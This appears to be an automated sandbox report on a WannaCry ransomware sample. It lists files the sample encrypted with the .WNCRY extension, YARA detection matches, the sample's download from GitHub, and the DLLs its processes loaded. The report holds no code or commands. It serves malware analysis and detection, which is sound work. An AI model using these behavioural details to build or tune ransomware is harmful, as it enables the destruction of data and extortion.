Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy) entropy: 7.9998740337	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1Sd5265G8OlnRColAI8O_SxSQ1Q.br[1].js.WNCRY (copy) entropy: 7.9987094026	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1_gc11zDuaJOyBP7gyptBGdPRf4.br[1].js.WNCRY (copy) entropy: 7.99697630682	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js.WNCRY (copy) entropy: 7.99579321527	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRY (copy) entropy: 7.9928989519	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6qhc82nhlRe74lC1CBjrzThsaXw.br[1].js.WNCRY (copy) entropy: 7.99512173514	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRY (copy) entropy: 7.9983293364	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js.WNCRY (copy) entropy: 7.99862862088	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js.WNCRY (copy) entropy: 7.99022560916	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\f8FI06PDUmw1Zws81nUDYY3bWsY.br[1].js.WNCRY (copy) entropy: 7.99637488126	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\HSDak9V_lmtkNU64sorwQW-6T38.br[1].js.WNCRY (copy) entropy: 7.99987680578	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ix6gLNUjdsfo1b44Xv9sX0Ilnxw.br[1].js.WNCRY (copy) entropy: 7.99804588737	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js.WNCRY (copy) entropy: 7.99953476104	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lh0O3d6Fmm9PYPDqG8PqHJ4MS7w.br[1].js.WNCRY (copy) entropy: 7.99765168229	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lpbsfnKE_8agtRF97FH08WFLR1w.br[1].js.WNCRY (copy) entropy: 7.99941120979	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js.WNCRY (copy) entropy: 7.99798424395	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MR6Zgdyo2coaDBmJxRBOLkPvlpk.br[1].js.WNCRY (copy) entropy: 7.99923040544	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ov6JSivEymftttgBEDwd3JIRgz0.br[1].js.WNCRY (copy) entropy: 7.99924475914	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\RfoQ_WQ8YccBpTTC1JFx7r-9GWU.br[1].js.WNCRY (copy) entropy: 7.99903034599	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\UHyc3IjuWFO6s9IoOlmmJWw7Jqs.br[1].js.WNCRY (copy) entropy: 7.99963108594	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\vPBP7RPIJrbNZlhe-HUXYkcDX0A.br[1].js.WNCRY (copy) entropy: 7.99719790776	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\x9TiBFKPhYF4yOf0IfKaPIf64qI.br[1].js.WNCRY (copy) entropy: 7.99845396163	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\xO01H2dEYfjtj69ouv_nR5Al0cU.br[1].js.WNCRY (copy) entropy: 7.99900370304	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ZNvOyS-r2rT3Al22ByUYXLQ5kPY.br[1].js.WNCRY (copy) entropy: 7.99812024708	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRY (copy) entropy: 7.9967761313	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRY (copy) entropy: 7.99088728114	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRY (copy) entropy: 7.99819743435	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRY (copy) entropy: 7.99840971864	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRY (copy) entropy: 7.99917326831	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRY (copy) entropy: 7.99936547955	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\Downloads\Ransomware.WannaCry.zip.WNCRY (copy) entropy: 7.99995016523	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Temp\52.WNCRYT (copy) entropy: 7.99923285382	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Temp\417.WNCRYT (copy) entropy: 7.99994045716	Jump to dropped file

Source: conhost.exe	Process created: 84
Source: cmd.exe	Process created: 56

System Summary

Malicious sample detected (through community Yara rule)

Source: 69.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 0000000B.00000000.1406207775.000000000040E000.00000008.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\r.wnry, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\u.wnry, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\58191711205328.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth

Blob-based file download detected

Source: C:\Users\user\Downloads\Ransomware.WannaCry.zip

File download: blob:https://github.com/fe9fd1bb-81b0-46e8-b5ff-9fe7071e9e1f

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File dump: C:\Users\user\Downloads\Ransomware.WannaCry.zip (copy)

Jump to dropped file

Drops password protected ZIP file

Source: 96480cbf-b01d-460f-82e8-4fca4d4fafcb.tmp.0.dr	Zip Entry: encrypted
Source: chromecache_739.1.dr	Zip Entry: encrypted
Source: chromecache_753.1.dr	Zip Entry: encrypted

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Process Stats: CPU usage > 24%

Source: taskdl.exe.11.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: libssp-0.dll.69.dr	Static PE information: Number of sections : 17 > 10
Source: libevent-2-0-5.dll.69.dr	Static PE information: Number of sections : 17 > 10
Source: libgcc_s_sjlj-1.dll.69.dr	Static PE information: Number of sections : 17 > 10
Source: ssleay32.dll.69.dr	Static PE information: Number of sections : 18 > 10
Source: libevent_extra-2-0-5.dll.69.dr	Static PE information: Number of sections : 17 > 10
Source: libevent_core-2-0-5.dll.69.dr	Static PE information: Number of sections : 17 > 10
Source: libeay32.dll.69.dr	Static PE information: Number of sections : 18 > 10

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Section loaded: msvcp60.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: photometadatahandler.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: mfsrcsnk.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: mfplat.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: rtworkq.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
